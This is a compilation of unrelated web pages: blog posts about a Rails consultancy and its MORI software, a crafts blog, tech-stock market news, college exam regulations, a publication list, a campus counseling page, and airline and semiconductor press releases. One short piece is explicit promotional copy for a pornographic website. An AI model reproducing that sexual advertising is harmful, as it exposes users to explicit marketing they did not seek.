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Make Meetings MatterPosted by john on Thu, 08/20/2015 - 8:48am.
Whenever you pull together a team for a meeting, the cost of that meeting can be substantial. Eight people in a conference room for an hour is a whole day worth of potentially lost productivity. You need to take steps to ensure that the investment made is worth it.
Vita Rara Changes Its Name To Enable LabsPosted by john on Fri, 08/27/2010 - 8:09am.
Vita Rara, my current employer, and the creators of MORI, has changed its name to Enable Labs. The new name reflects the company's focus on enabling the success of our clients.
As Enable Labs, we have renewed our focus on consulting for a broad base of potential customers.
While member management remains a central focus of Enable Labs's work, we also have clients for other types of software including: Enterprise Resource Planning (ERP) and Customer Relationship Management (CRM).
As Enable Labs grows, we expect to bring a broader range of tools and skill sets into play as we continue to serve fraternal communities for years to come.
Enable Labs specializes in Ruby on Rails development.
Friends on FriendFeedPosted by john on Tue, 05/19/2009 - 2:37pm.
As the social networking march goes on, so goes the need to expand to new sites with more profiles. This week is Friend Feed. Friend Feed is kind of like Twitter or Identi.ca in that you can post content that is for Friend Feed only. However, you can take it a step further and incorporate your content from as many as 50 other sites.
Here are some links to some friends who have profiles set up on Friend Feed:
- John Fitzpatrick - that's me.
- Vita Rara - my employer, a web development company
- MORI - the member management software that I work on.
- Modal Tracker - web-based software to use for container tracking
- Quadran ERP - enterprise resource planning software for importers and distributors
- Modal Labs - Vita Rara's division for software to serve the intermodal shipping industry.
- Kase Manager - web-based software to be used by help desks to track trouble tickets and other issues for their clients
Profiles of Friends on the New Google ProfilesPosted by john on Thu, 05/14/2009 - 4:53pm.
Google recently introduced common profiles for their many applications. If someone has a profile and it matches, exactly, a search, Google displays the profile at the bottom of the first page of search results. It is unclear to me whether Google plans to introduce and Twitter like functionality. I don't even know if their spiders even crawl their own pages.
Anywhere, here are some links to people and businesses that I know that have profiles set up on Google:
- John Fitzpatrick - that's me.
- Vita Rara - my employer.
- MORI- a membership management application that I've been working on.
- Modal Tracker - software to track intermodal shipping containers.
- Quadran - an ERP system for importers/distributors
- Modal Labs - Vita Rara's division for software to serve the intermodal shipping industry (like Modal Tracker).
- Kase Manager - software for help desks to track client issues and trouble tickets.
- Vitaly Babiy - a co-worker of mine.
Friends On Identi.caPosted by john on Wed, 05/13/2009 - 3:47pm.
Spent some time setting up profiles for a number of friends and business contacts on Identi.ca over the past couple of days. For those who aren't aware, Identi.ca is a competitor to Twitter that has about 1/500th the user base. Here's a list of the accounts:
- Mark Menard - my boss
- John Fitzpatrick - me
- Vitaly Babiy - a co-worker
- Vita Rara - where I work
- MORI - software I wrote
- Modal Tracker - software Mark wrote to track shipping containers
- Quadran - an ERP system written by Mark and Vitaly for importers/distributors of bulk commodities
- Modal Labs - a new division within Vita Rara to handle Intermodal Shipping related software
- Kase Manager - software to track Help Desk trouble tickets written by Vitaly.
Mark Menard, John Fitzpatrick, VitaRara, and QuadranPosted by john on Mon, 05/11/2009 - 3:30pm.
Vita Rara (VitaRara) is my employer. Mark Menard is the owner. Quadran is VitaRara's ERP system for importers and distributors of bulk commodities.
Our first client for Quadran is a company called Stein Fibers. Before working at VitaRara, Mark Menard and John Fitzpatrick worked together at a company called 5Points. In 1999, Stein Fibers contracted with 5points to write an ERP system to replace their patchwork of various tools. In June 2007, Stein Fibers asked VitaRara to replace the system written by 5points. That new system is called Quadran.
Over the next few years, we expect to deliver Quadran to several new clients. The application is geared toward organizations that handle commoditized products in bulk quantities, particularly ones who import the materials from overseas.
Want more information? Here's some links to the people and organizations discussed in this article:
- John Fitzpatrick
- on twitter
- Mark Menard
- on twitter
- Vita Rara
- on twitter
- Quadran
- on twitter
Mark Menard, John Fitzpatrick, VitaRara, and MORIPosted by john on Mon, 05/11/2009 - 3:20pm.
Vita Rara (VitaRara) is my employer. Mark Menard is the owner. MORI, which is short for Masonic Online Registry Interface, is the nearly singularly focused obsession of the past five years of my professional life.
Mark Menard is a mason. After starting VitaRara in 2004, he hired me to work on a web-based membership tracking system that both lodge secretaries and Grand Lodge users could use together to manage a given state's Masonic membership. In January of 2005, we delivered MORI to the Grand Lodge of New York. Since that time, John Fitzpatrick (that's me) and Mark Menard have delivered MORI to five other Masonic organizations: The Order of the Eastern Star in New York, the Grand Lodge of Wisconsin, the Grand Lodge of North Carolina, the Grand Lodge of Ohio and the Grand Lodge of Massachusetts.
More state bodies and other related bodies will be setup in MORI in the future, though I cannot say which ones yet. Several states have expressed strong interest, but this is a time of year when decisions of this nature are hard to come to.
Want more information? Here's some links to the people and organizations discussed in this article:
- John Fitzpatrick
- on twitter
- Mark Menard
- on twitter
- Vita Rara
- on twitter
- on twitter
A New PurposePosted by john on Mon, 05/11/2009 - 2:58pm.
With the change in government, the drive to push this blog as a means of drawing people's attention to issues I felt were being ignored, or worse perpetrated, by a republican administration has waned.
For the moment, I will simply be blogging issues and topics of a personal nature until I have the time to remake the site into something entirely new. Please stay tuned. This could get interesting.
Same-Sex Marriage Block On Way To California BallotPosted by john on Sun, 05/18/2008 - 7:14am.
The victory of Gay-Rights advocates in the California Supreme Court decision might be short lived. A ballot measure to amend that California State Constitution has gathered over 1 million signatures and will surely be on the November ballot.
Republicans Seek Cancer Research and, uh, alter the electoral collegePosted by john on Thu, 12/06/2007 - 3:34pm.
As part of a signature drive by Republicans seeking to fund cancer research, they are also collecting signatures for a ballot initiative to alter California's electoral votes in their favor. People are being asked to sign a petition for cancer research and are being handed the petition for the electoral scheme.
How Far Should Water Recycling Go?Posted by john on Tue, 11/27/2007 - 7:20am.
In much of the western U.S., water demand vastly outstrips supply. Some municipalities are moving toward a greater use of recycled waste water as a means to stretch supply. It sounds good in theory, but how far should it go?
Understanding The Writers StrikePosted by john on Sun, 11/25/2007 - 9:23am.
Unless you live under a rock, you already know that the Writers Guild of America is on strike -- a move aimed at crippling the Motion Picture and Television industries. Since many major news outlets are controlled by the same organizations the writers are striking against, it is not surprising that people are not hearing the pittance for which the writers are asking. What follows is a selection of videos to explain the issue.
Afghanistan Falling Into Taliban ControlPosted by john on Sat, 11/24/2007 - 9:24am.
As the U.S. remains distracted by the conflict it started in Iraq, the mission in Afghanistan gets further and further away from being "accomplished".
Rockefeller Taking Telco Money As He Pushes For Their ImmunityPosted by john on Mon, 10/22/2007 - 1:23pm.
Think Telco execs don't think they did anything wrong complying with the government's warrantless wiretap requests, well take a look at to whom they're donating their money.
Saddam Offered To Leave Without A FightPosted by john on Fri, 09/28/2007 - 7:25am.
One month before the U.S. invasion of Iraq, Saddam Hussein offered to go into exile in exchange of $1 Billion. Contrast that with the Bush Administration's current request for another $195 Billion to continue the war.


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Wow! I knew it had been a long time since I had posted anything on this blog, but I had no idea it had been THAT long. I'm ashamed.
To be honest, I was getting really discouraged. Pinterest and all the other amazing blogs out there made me feel very inadequate. I couldn't see people wanting to look at my dinky little blog when there are so many other incredible blogs out there. But I finally realized I wasn't really doing it for other people. I was doing it for me. I wanted to keep track of the things I create. So even if not one single person reads this, I will continue blogging. It makes me happy and it gives me satisfaction knowing that I created these things.
Well, enough of that!
Here are some photos that have been sitting on my computer just waiting to be blogged about.
Here are a pair of cute little shoes I made for a friend that had a baby girl. (Doesn't matter that the baby girl is now a year old.) I used THIS pattern. I've used it a couple times and they always turn out cute.
Another pair of baby shoes made with grey leather on the bottom. I've had a lot of friends having babies this past year. I've used THIS pattern so many times I should print out another copy. It is so easy to use and I love these shoes since they actually stay on and little ones that love to take their sock off can't take these off.
Like I said, a lot of babies. Yet another pair of leather-soled shoes. The tops of these shoes were made out of a bed sheet I bought at the thrift store. I really liked the pattern and thought it would make a cute skirt but I really like it for these shoes.
I co-hosted a baby shower and one of the activities that we did was have everyone make a hair accessory for the new little girl. My friend for whom the shower was for already had two little boys and was looking forward to having a girl to dress up, so I thought she would love having some cute hair things to start her collection. It was a huge hit. These are all the adorable things that were made.
I had a friend give me a big piece of this cute pink camo fabric. I had been trying to think of something to do with it. Clara had this onsie that was to short and it happened to match the pink in the camo fabric perfectly. So I took and cut the bottom of the onsie off and made it into a dress. I love how it came out.
These are the booties I crocheted for Clark's blessing. I found the pattern HERE. They were pretty easy to make and they looked so cute on his tiny feet.
The next couple crafts were some of the things we made for Super Saturday in 2011. I have loved being in charge of that even though it is so much work. I know everyone appreciates having these things to make for themselves or loved ones.
The first is a monogram tile. I cut the vinyl on my Cricut and we used 12"x12" tiles. I bought the little easels at the dollar store.
This is a crayon roll for the kids. I liked this design because it held the notepad with it not just the crayons so it's all in one and you're not having to hunt down some paper to use the crayons on.
We also made I Spy bags. I actually need to make a few more of these. My kids found this one in the toy box recently after about a year and were so excited by it again. I took pictures of all the things I put in each one so that they can look at the pic and try to find each of the items.
We also made children's art display boards. Again, I cut the vinyl on my Cricut and we hot-glued the clothes pins on. Ready to display all the amazing child-made art.
These are handy little things. We took hot pads and turned them into kits for whatever. I use mine as a fist aid kit. But I could see putting sewing or knitting supplies in one. Maybe even a make-up bag. So many possibilities.
I made this wreath after seeing a couple different versions of the "candy cane wreath" online. My first wreath. Not too bad.
The kids and I (mostly I) had fun making these snowflakes. I didn't even use any patterns. Just cut 'em out freehand with my scissors. Lets my creative juices flow.
Well, I have more pictures that I need to get on the computer, but that makes me feel better to get something new on the blog. I am going to continue posting so I can remember all the things that I have created. Hope you enjoy seeing them as well.

subset: commoncrawl


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The passion of porn and the elegance of erotica blend together in these sexy movies. If you love the stills of a beautiful woman in all her naked glory, you'll absolutely the sight of the same woman in motion. The unveiling of her delectable curves takes on a stunning fluidity found only within these adult videos. Enjoy!
How about some hot lesbian action to brighten up your day? In this Babes Network Porn video you get to see these two brunettes getting it on for your viewing pleasure. Check them out as they strip naked then take turns licking each others' juicy pink pussies to orgasm. Wanna see more?
Babes Network is a really cool website that offers the perfect blend of glamour and hardcore elements to create a new kind of adult films. The actors, both male and female, are all drop-dead-gorgeous and more than willing to get down and dirty in front of the camera to get you off. The content in Babes Networks is top-notch quality stuff and gives you plenty to choose from between the many hardcore and softcore exclusive flicks.


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SAN FRANCISCO (MarketWatch) — Tech stocks ended up putting in a mixed trading session Friday, as weak sales data about PCs in the fourth quarter dominated throughout the session and weighed on the tech sector with Dell Inc., Hewlett-Packard Co. and Apple Inc. all feeling selling pressure.
Dell shares DELL, +3.26% fell 1.5% to close at $10.88. Data released by IDC late Thursday showed global PC sales falling 6.4% in the fourth quarter — worse than the drop the firm had predicted. Dell saw its global market share slip to 10.6% from 12.5% in the same period the previous year.
Hewlett-Packard HPQ, +2.42%, which picked up market share during the period to end the year in the top position, saw its shares give up 12 cents to end the day at $16.16.
Apple shares AAPL, +2.36% also closed in the red, down by $3.21 at $520.30, though Microsoft MSFT, +1.83% edged back from early declines to rise by 37 cents a share and close at $26.83.
The Nasdaq Composite Index COMP, +1.67% managed to rise by almost 4 points and close at 3,125, while the Philadelphia Semiconductor Index SOX, +2.78% and the Morgan Stanley High-Tech Index US:MSH each eked out small gains.
Losses by PC makers were offset by gains in other categories. Facebook FB, +0.61% shares rose 1.3%, to close at $31.72. The social network was named as the "top pick" among large-cap Internet stocks for 2013 in a note by J.P. Morgan.
"We believe it's still very early in Facebook's mobile advertising trajectory, and marketer feedback on mobile and News Feed ads is now more positive," J.P. Morgan analyst Doug Anmuth wrote in his note to clients.
Netflix Inc. shares NFLX, +2.38% climbed 2.5%, to $100.44, even as a federal appeals court ruled that the company received an unfair advantage from the U.S. Postal Service with special service for its millions of DVD rental envelopes.
Research In Motion Ltd. US:RIMM surged almost 14%, to close at $13.56, as investors began showing enthusiasm ahead of the company's BlackBerry 10 smartphones later this month.
Splunk shares SPLK, +1.01% had a strong day, jumping by 8.4%, to close at $32.37. Bloomberg reported that the Web-data analytics company could be a takeover target, possibly by International Business Machines Corp. IBM, +1.39%.
Online travel site Orbitz Worldwide Inc. US:OWW continued to lose more ground, falling 2.4%, to close at $2.91, a day after the company's shares gave up almost 10%. Earlier in the week, Orbitz's Chief Financial Officer, Mitch Marcus, left the company after less than two months on the job. See: Rex On Techs: The shrinking wide world of Orbitz.


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Continuous Assessment
Continuous Assessment
- Continuous Assessment will be made normally by the teachers responsible for the courses they teach on dates centrally fixed by the college. There will be three tests held for each paper- two written test and a programme of accepted innovative techniques such as seminars, term paper, project, assignment, port folio, power-point presentation, quiz, objective tests etc. ( the programme of such evaluation will be fixed before the commencement of that semester in consultion with the respective Acadamic Deans). Each test will be carry a maximum of 50 marks and lowest of the three test will be ignored. Retest is not allowed except in the case of students who miss one or more CA tests because they were away on those days representing college in sports or cultural activities or for any justifiable reason acceptable to the Principal. Principal may grant special permission to such candidates for taking just one additional test of three hours duration covering the entire syllabus of that paper. This test should be taken before the commencement of End of Semester Examination of that semester.
- A record of such assessment procedure will be maintained by the department and is open for clarification by the students. Students will have the right to appeal to the Principal in case of glaring disparities in marking. The dates and the scheme for the two written tests will be the same as those of the first and the third CA tests under provision (a-i) above, as fixed by the College.
- Candidates who fail in a paper for want of sufficient marks in CA test will have to seek improvement by coming back to the semester for CA exams or repeating it after the completion of the course at the time of regular CA Test.
End of Semester Examination
- The academic year is divided into two semesters, the first from June/July to November/ December, and the second from November/ December to April/May. Each semester will have a minimum of 90 working days. Examination days are excluded. Examinations will be conducted in papers of all semesters in Nov/Dec and April/May every year for all UG and Pg courses.
- The schedule for ESE Practicals will be notified by the Co-ordinator of Examinations in consultation with the Dean of Sciences.
- A student who fails in any paper or papers in any semester will be permitted to take them at subsequent End of semester examinations of those papers, subject to the student having fulfilled the attendance requirement. A student whose attendance falls short of 50% will be required to repeat that semester by enrolling again at the end of the degree course. Papers set for each examination will follow the regulations and syllabi in force at the time.
- To qualify for the UG/PG Degree, supplementary candidates are required to pass in all the papers prescribed for the course within six / four semesters immediately after the completion of the course. Beyond that period, the candidates will follow the current syllabus for the examinations. A late fee per year for each paper shall be levied
- Examination Fees will be levied and collected at the University rates. A special levy is collected for supplementary papers. Only those students who get clearance of 'no dues' from the Bursar's office/Hall/Departments are eligible to obtain the Hall Ticket for the End if Semester Examination.
Grading System
Grading System
Passing of Results
- Grading will be in accordance with the regulation approved by the Academic Council of the college.
- Passing minimum for U.G. Course is 35% of marks allotted to each paper in the End of the Semester Examination and 40% of the total marks in the End of Semester Examination and Continuous Assessment put together.
- Passing minimum for P.G. Course is 45% of the marks in the End of Semester Examination and 50% of the total marks in the End of Semester Examination and Continuous Assessment put together in each paper.
- The minimum number of credits to qualify for a U.G./P.G. degree is 108/72 respectively except for M.S.W and M.C.A.
- Cumulative grade point average (CGPA) and overall weighted percentage marks (OWPM) will be awarded when a Candidate completes UG/PG degree.
Results will be passed by the Boards of Examiners of the departments concerned and submitted to the Academic Council of the College for approval after which the Principal will recommend the eligible students for award of the Degree of the University of Madras.
Provision to appeal
Appeals against results of the End of Semester Examination may be sent to the Principal by the student concerned within 10 days of the publication of the results. Appeal for each paper should be made separately. A fee of ₹350/- for each paper under appeal should be paid. Such appeals will be referred to an Appeals Committee whose decision shall be final.
Departmental Grievance Cell
Grievance cell in the Departments will look into matters regarding C.A. Marks. Students having any complaint against C.A., may appeal to this cell. If the award given is not acceptable to the student, redressal of the grievance appealed for may be referred to the Principal.
Academic Awards and Scholarships
A student's record in Continuous Assessment and End of Semester Examination will be taken into account in awarding prizes, commendation, merit and progress certificates, student aid, scholarships and for considering admission to a higher course. Student eligible for Scholarship must open an account with the IOB, MCC Campus branch.
Repeat C.A. Test forms will be issued to passed out UG and PG students who have not cleared their Internal Exams. Students are requested to submit applications on or before 27.07.2018.
Date : 16.07.2018


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Group by: Date | Item Type | No Grouping
Number of items: 16.
Maguire, Paul, Rutherford, David, Macias-Montero, Manuel, Mahony, Charles, Kelsey, Colin, Tweedie, M, Perez-Martin, F, McQuaid, Harold, Diver, Declan and Mariotti, Davide (2017) Continuous In-Flight Synthesis for On-Demand Delivery of Ligand-Free Colloidal Gold Nanoparticles. Nano Letters, 17 (3). pp. 1336-1343. [Journal article]
Mukhopadhyay, S, Banerjee, JP, Mathur, A, Tweedie, M, McLaughlin, JAD and Roy, SS (2015) EXPERIMENTAL STUDIES OF SURFACE-DRIVEN CAPILLARY FLOW IN PMMA MICROFLUIDIC DEVICES PREPARED BY DIRECT BONDING TECHNIQUE AND PASSIVE SEPARATION OF MICROPARTICLES IN MICROFLUIDIC LABORATORY-ON-A-CHIP SYSTEMS. Surface Review and Letters, 22 (3). p. 1550050. [Journal article]
Mathur, A, Wadhwa, S, Tweedie, M, Hazra, Kiran, Dickinson, C, Roy, SS, Mitra, SK, Misra, DS and McLaughlin, JAD (2011) A comparative study of the growth, microstructural and electrical properties of multiwall CNTs grown by thermal and microwave plasma enhanced CVD methods. Physica E: Low-dimensional Systems and Nanostructures, 44 (1). pp. 29-36. [Journal article]
Tuinea-Bobe, C, Lemoine, P, Manzoor, MU, Tweedie, M, D'Sa, R, Wallace, E and Gehin, C (2011) Photolithographic structuring of stretchable conductors and sub-kPa pressure sensors. Journal of Micromechanics and Microengineering, 21 (11). p. 115010. [Journal article]
Mukhopadhyay, S, Roy, SS, Mathur, A, Tweedie, M and McLaughlin, JAD (2010) Experimental study on capillary flow through polymer microchannel bends for microfluidic applications. Journal of Micromechanics and Microengineering, 20 (5). 055018. [Journal article]
Mathur, A, Roy, SS, Tweedie, M, Mukhopadhyay, S, Mitra, SK and McLaughlin, JAD (2009) Characterisation of PMMA microfluidic channels and devices fabricated by hot embossing and sealed by direct bonding. CURRENT APPLIED PHYSICS, 9 (6). pp. 1199-1202. [Journal article]
Mathur, A, Tweedie, M, Roy, SS, Maguire, PD and McLaughlin, JAD (2009) Electrical and Raman Spectroscopic Studies of Vertically Aligned Multi-Walled Carbon Nanotubes. JOURNAL OF NANOSCIENCE AND NANOTECHNOLOGY, 9 (7, Sp.). pp. 4392-4396. [Journal article]
Mukhopadhyay, S, O'Keefe, P, Tweedie, M, Roy, SS and McLaughlin, JAD (2009) Structural characterisation of microchannel bends and micropillar arrays and their applications for blood cell separation. In: UKSB 8th Annual Conference, Belfast, UK. -. [Conference contribution]
Mukhopadhyay, S, O'Keeffe, P, Mathur, A, Tweedie, M, Roy, SS and McLaughlin, JAD (2009) Effect of Surface Modification on Laminar Flow in Microchannels Fabricated by UV-Lithography. e-Journal of Surface Science and Nanotechnology, 7 . pp. 330-334. [Journal article]
Saha, AA, Mitra, SK, Tweedie, M, Roy, SS and McLaughlin, JAD (2009) Experimental and numerical investigation of capillary flow in SU8 and PDMS microchannels with integrated pillars. Microfluidics and Nanofluidics, 7 (4). p. 451. [Journal article]
Mukhopadhyay, S, Tweedie, M, Roy, SS and McLaughlin, JAD (2008) Experimental study on laminar flow through microchannel bends for blood cell separation applications. In: 1st European conference on Microfluidics, Bologna, Italy. -. [Conference contribution]
Saha, AA, Tweedie, M, Roy, SS, Mitra, SK and McLaughlin, JAD (2008) Capillary flow in microchannel with pillars. In: 2nd International Conference Exhibition on Integration Commercialization of Micro Nanosystems, Hong Kong. -. [Conference contribution]
Tweedie, M, Soin, N, Kumari, P, Roy, SS, Mathur, A, Mahony, CMO, Papakonstantinou, P and McLaughlin, JAD (2008) The use of nanotube structures in reducing the turn-on voltage in micro-discharges and micro-gas sensors - art. no. 70370Z. In: CARBON NANOTUBES AND ASSOCIATED DEVICES, San Diego, USA. SPIE-INT SOC OPTICAL ENGINEERING. Vol 7037 15 pp. [Conference contribution]
Tweedie, M, Roy, SS, Mathur, A, Soin, N, Kumar, S and McLaughlin, JAD (2007) Growth of Vertically Aligned Multiwalled Carbon Nanotubes from Co Catalyst on Si by Microwave Plasma CVD for Light/Heat Emitting Applications (HAMR - Heat Assisted Magnet Recording). In: 3rd International Conference on Nanomaterials and Nanomanufacturing, Dublin, Ireland. -. [Conference contribution]
Tweedie, M, Subramanian, R, Lemoine, P, Craig, I, McAdams, ET and McLaughlin, JAD (2006) Fabrication of impedimetric sensors for labe-free Point-of-Care immunoassay cardiac marker systems with microfluidic blood flow delivery. In: EMBS 2006, New York, USA. UNSPECIFIED. 5 pp. [Conference contribution]
Tweedie, M, Surbamanian, R, Craig, I, McAdams, ET and McLaughlin, JAD (2006) Fabrication of impedimetric sensors for label-free Point-of-Care immunoassay cardiac marker systems with microfluidic blood flow delivery and results telemetry to PDA. In: NSTI Nanotech 2006, Boston, USA. UNSPECIFIED. 4 pp. [Conference contribution]
This list was generated on Tue Aug 20 01:40:37 2019 BST.


text: › Student Life » Counseling Center » Resources » Campus Resources Home Schedule an Appointment Confidentiality Statement Information Release Forms Emergency Care How We Can Help What We Treat Counseling Services Resources Campus Resources Community Resources Support Groups Helping Students in Distress Contact Us Plan a Visit ›Apply Now ›Give to Furman › Main Content Column 1 Living on a residential campus is fun and exciting. It also means you have a big support system to help you have a happy and healthy college experience. We're here for you for every aspect of your college life. Office of Academic Assistance Academics in college can be more demanding than in high school, but we don't expect you to do it alone. Visit the Office of Academic Assistance for help with test anxiety, tutoring, and time management. Student Health Services Stress can affect your physical well being. For help staying healthy visit Student Health Services. Sexual Harassment and Rape Prevention We're dedicated to educating our campus community about sexual harassment, sexual assault, and rape prevention and supporting survivors of sexual violence. Contact the Sexual Harassment and Rape Prevention Committee for more information. Alcohol and Drug Education Worried about yours or a friend's alcohol or drug use? Or are you looking for prevention tips? The Office of Alcohol and Drug Education can help. Division of Student Life From your health to your housing to your recreation, the Division of Student life will work with you to help you have an enjoyable college experience. Learn how the Division of Student Life can help. Chaplaincy We have a diverse religious community at Furman and the Chaplaincy has developed resources to meet our community's needs. Visit the Chaplaincy. Disability Services Disability Services can work with you to get the accommodations you need, including classroom accommodations. Contact Disability Services for more information. Behavior Intervention Team Do you know someone who's struggling socially or academically? Work with our Behavior Intervention Team to identify and help those students. Office of Diversity and Inclusion At Furman, our students take pride in their diversity through programs and student organizations that focus on everything from sexuality to cultural heritage. Visit the Office of Diversity and Inclusion. University Police If you're concerned about your safety or the safety of others contact the University Police. Career Services College is easier when you have a plan. Visit Career Services.


text: 11 Feb 2014 13:00 airberlin, Germany's second largest airline, will introduce a second daily flight between Berlin and Abu Dhabi starting 26 October 2014, building on its successful partnership with equity and codeshare partner Etihad Airways, the national carrier of the United Arab Emirates. The two airlines will also expand their codeshare agreement from mid-February, with airberlin guests able to book flights to six Indian destinations served by Etihad Airways: New Delhi, Mumbai, Cochin, Chennai, Hyderabad, and Bangalore. Travellers in India will also benefit from improved connection options within the wider airberlin route network to destinations across Europe, such as Copenhagen, Krakow, Stockholm and Warsaw. airberlin's Berlin-Abu Dhabi route, which has been operated since January 2012, provides the only direct connection between Germany's capital city and the UAE. It is operated using an Airbus A330-200 aircraft with 19 FullFlat Business Class seats and 279 Economy Class seats. As a result of the increased frequency, airberlin and Etihad Airways will operate a total of 56 flights per week between Germany and the UAE, including double-daily connections from Berlin, Dusseldorf, Frankfurt and Munich. The schedule has been optimised to provide maximum connectivity to the Etihad Airways network, increasing two-way connectivity from 19 to 43 destinations with Etihad Airways via Abu Dhabi to the Gulf Arabian region, as well as North Asia (Beijing, Shanghai, Tokyo Narita), South East Asia (Kuala Lumpur, Jakarta), Australia (Sydney, Melbourne, Brisbane), and six destinations in India. In addition, airberlin is planning to include Perth and Seoul in its schedule through an expanded codeshare with Etihad Airways. Wolfgang Prock-Schauer, Chief Executive Officer of airberlin, said: "Thanks to the constant expansion of our partnership with Etihad Airways, we are taking greater advantage of our synergies and can offer our guests even more travel possibilities and convenience. "The additional daily flight will significantly increase the capacity on our Berlin-Abu Dhabi service, offering our guests even better and wider access to Etihad Airways' international network." James Hogan, President and Chief Executive Officer of Etihad Airways, said: "The partnership between Etihad Airways and airberlin continues to move from strength to strength, with 560,000 passengers flying across our two networks in 2013, a 74 per cent increase on the previous year. "The Abu Dhabi-Berlin route is testament to this partnership's success and often has seat load factors above 90 per cent in peak months. It is therefore crucial to build upon the success of the route and ensure that demand and capacity are better matched. In addition, our increased frequency will provide even greater connecting options for guests in both directions via the combined networks of Etihad Airways and airberlin." airberlin schedule for Berlin-Abu Dhabi route, effective October 26. Flight # Departs Departure Time Arrives Arrival Time Frequency AB 7494 Berlin (TXL) 21:50 Abu Dhabi (AUH) 06:55* Daily AB 7493 Abu Dhabi (AUH) 09:10 Berlin (TXL) 13:00 Daily AB 7492 Berlin (TXL) 10:45 Abu Dhabi (AUH) 19:50 Daily AB 7495 Abu Dhabi (AUH) 02:45 Berlin (TXL) 06:35 Daily *Indicates next day arrival Contact met Etihad Als wereldwijd opererende luchtvaartmaatschappij hebben wij natuurlijk overal ter wereld vestigingen. Lees hoe u contact kunt opnemen met uw dichtstbijzijnde Etihad-kantoor. Bekijk onze contactgegevens Feedback Als u een opmerking, compliment of klacht wilt doorgeven, of een vraag wilt stellen, klik dan hier Vind ons leuk Bezoek onze Facebookpagina! Bekijk ons Bekijk ons YouTube-kanaal! Volg ons Etihad Airways | Etihad Aanbiedingen | Etihad Help | Etihad Rewards


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ON Semiconductor Announces Redemption of Its 1.875 Percent Convertible Senior Subordinated Notes Due
ON Semiconductor Announces Redemption of Its 1.875 Percent Convertible Senior Subordinated Notes Due 2025
PHOENIX--(BUSINESS WIRE)-- ON Semiconductor Corporation (Nasdaq: ONNN) today announced that it is exercising its option to redeem all remaining outstanding 1.875 percent Convertible Senior Subordinated Notes due in 2025 (CUSIP No. 682189AC9 and 682189AD7) (the "Notes") amounting to an aggregate principal amount of $95 million. The redemption date will be December 20, 2012. ON Semiconductor expects to fund the payment of this redemption using available liquidity.
The redemption price is equal to $1,000 per $1,000 principal amount of the Notes plus accrued and unpaid interest to, but excluding, the redemption date. Payment of the redemption price will be made upon surrender of the Notes at the address provided by the trustee of the Notes in the notice of redemption. A copy of the notice of redemption may be obtained from Deutsche Bank Trust Company Americas, as trustee and conversion agent, by calling 1-800-735-7777.
The holders of the Notes have the right to convert their Notes into shares of common stock of ON Semiconductor at a conversion rate of 142.8571 shares per $1,000 principal amount of Notes until the close of business on December 19, 2012. ON Semiconductor will satisfy its conversion obligation with respect to each $1,000 principal amount of Notes tendered for conversion by delivering cash equal to the sum of the daily conversion values, including cash for any net share amount. The observation period will include the 20 consecutive trading days beginning on and including the third trading day after the delivery of a conversion notice to the conversion agent. Holders who wish to convert their Notes must comply with the procedures in the Notes.
"We are pleased to announce the exercise of ON Semiconductor's option to redeem $95 million of the 1.875 percent Convertible Senior Subordinated Notes," said Bernard Gutmann, ON Semiconductor executive vice president and CFO. "ON Semiconductor began the fourth quarter of 2012 with ample cash, cash equivalents and short-term investments at approximately $643 million. With this redemption, ON Semiconductor will reduce its leverage and will eliminate future potential share dilution associated with the Notes."
About ON Semiconductor
ON Semiconductor (NAS: ONNN) is driving innovation in energy efficient electronics, empowering design engineers to reduce global energy use. The company offers a comprehensive portfolio of energy efficient power and signal management, logic, discrete and custom solutions to help customers solve their unique design challenges in automotive, communications, computing, consumer, industrial, LED lighting, medical, military/aerospace and power supply applications. ON Semiconductor operates a responsive, reliable, world-class supply chain and quality program, and a network of manufacturing facilities, sales offices and design centers in key markets throughout North America, Europe, and the Asia Pacific regions. For more information, visit http://www.onsemi.com.
ON Semiconductor and the ON Semiconductor logo are registered trademarks of Semiconductor Components Industries, LLC.All other brand and product names appearing in this document are registered trademarks or trademarks of their respective holders.Although the company references its website in this news release, information on the website is not to be incorporated herein.
This document contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. All statements, other than statements of historical facts, included or incorporated in this document could be deemed forward-looking statements, particularly statements about the future financial performance of ON Semiconductor. These forward-looking statements are often characterized by the use of words such as "believes," "estimates," "expects," "projects," "may," "will," "intends," "plans," "should," or "anticipates," or by discussions of strategy, plans or intentions. All forward-looking statements in this document are made based on information available to us as of the date of this release, our current expectations, forecasts and assumptions, and involve risks, uncertainties and other factors that could cause results or events to differ materially from those expressed in the forward-looking statements. Among these factors are our revenues and operating performance, poor economic conditions and markets (including current credit and financial conditions), effects of exchange rate fluctuations, the cyclical nature of the semiconductor industry, changes in demand for our products, changes in inventories at our customers and distributors, technological and product development risks, enforcement and protection of our intellectual property rights and related risks, availability of raw materials, electricity, gas, water and other supply chain uncertainties, our ability to effectively shift production to other facilities in order to maintain supply continuity for our customers, variable demand and the aggressive pricing environment for semiconductor products, our ability to successfully manufacture in increasing volumes on a cost-effective basis and with acceptable quality for our current products, competitors' actions including the adverse impact of competitive product announcements, pricing and gross profit pressures, loss of key customers, order cancellations or reduced bookings, changes in manufacturing yields, control of costs and expenses and realization of cost savings from restructurings (including the voluntary retirement program for employees in our SANYO Semiconductor Products Group and our recent global workforce reduction), significant litigation, risks associated with decisions to expend cash reserves for various uses such as debt prepayment, stock repurchases or acquisitions rather than to retain such cash for future needs, risks associated with acquisitions and dispositions (including from integrating and consolidating, and timely filing financial information with the Securities and Exchange Commission ("SEC") for acquired businesses and difficulties encountered in accurately predicting the future financial performance of acquired businesses), risks associated with our substantial leverage and restrictive covenants in our debt agreements from time to time, risks associated with our worldwide operations including foreign employment and labor matters associated with unions and collective bargaining arrangements as well as man-made and/or natural disasters such as the flooding in Thailand or the Japan earthquake and tsunami affecting our operations and finances/financials, the threat or occurrence of international armed conflict and terrorist activities both in the United States and internationally, risks and costs associated with increased and new regulation of corporate governance and disclosure standards, risks related to new legal requirements and risks involving environmental or other governmental regulation. Information concerning additional factors that could cause results to differ materially from those projected in the forward-looking statements is contained in ON Semiconductor's Annual Report on Form 10-K for the period ended December 31, 2011 filed with the SEC on February 22, 2012, Quarterly Reports on Form 10-Q, Current Reports on Form 8-K and other of our filings with the SEC. If any of these trends, risks or uncertainties actually occurs or continues, our business, financial condition or operating results could be materially adversely affected, the trading prices of our securities could decline, and investors could lose all or part of their investment. Readers are cautioned not to place undue reliance on forward-looking statements. These forward-looking statements should not be relied upon as representing our views as of any subsequent date and we do not undertake any obligation to update forward-looking statements to reflect events or circumstances after the date they were made.
ON Semiconductor
Anne Spitza, 602-244-6398
Corporate Communications
Ken Rizvi, 602-244-3437
